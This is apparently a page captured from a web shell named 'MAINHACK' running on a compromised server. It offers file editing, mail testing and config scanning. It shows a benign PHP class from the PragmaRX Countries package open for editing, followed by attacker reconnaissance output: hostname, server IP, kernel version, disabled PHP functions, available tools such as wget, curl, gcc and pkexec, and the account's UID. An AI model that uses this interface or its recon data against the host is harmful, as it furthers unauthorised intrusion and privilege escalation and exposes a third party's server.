[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Natural.php
<?php namespace PragmaRX\Countries\Update; use PragmaRX\Countries\Package\Support\Base; class Natural extends Base { /** * @var Helper */ protected $helper; /** * @var Updater */ protected $updater; /** * @var States */ protected $states; /** * Rinvex constructor. * * @param Helper $helper * @param Updater $updater */ public function __construct(Helper $helper, Updater $updater) { $this->helper = $helper; $this->updater = $updater; } /** * @param $state * @return array */ public function naturalToStateArray($state) { $state = [ 'name' => $state['name'], 'alt_names' => explode('|', $state['name_alt']), 'cca2' => $state['cca2'], 'cca3' => $state['cca3'], 'code_hasc' => $state['code_hasc'], 'extra' => coollect($state)->sortByKey()->except([ 'name', 'name_alt', 'latitude', 'longitude', 'cca2', 'cca3', 'iso_a2', 'iso_a3', 'type', 'type_en', 'postal', 'iso_3166_2', 'code_hasc', ]), 'geo' => [ 'latitude' => $state['latitude'], 'longitude' => $state['longitude'], ], 'iso_a2' => $state['iso_a2'], 'iso_a3' => $state['iso_a3'], 'iso_3166_2' => $state['iso_3166_2'], 'postal' => $this->states->makeStatePostalCode($state), 'type' => $state['type'], 'type_en' => $state['type_en'], ]; return $state; } /** * @param \PragmaRX\Coollection\Package\Coollection $country * @return mixed */ public function fixNaturalOddCountries($country) { if ($country['iso_a2'] === '-99') { $country['iso_a2'] = $country['wb_a2']; $country['iso_a3'] = $country['wb_a3']; } return $country; } /** * Fill natural earth vector fields with mledoze data. * * @param $fields * @return mixed */ public function fillNaturalFields($fields) { return $fields; } /** * @param States $states */ public function setStates(States $states) { $this->states = $states; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002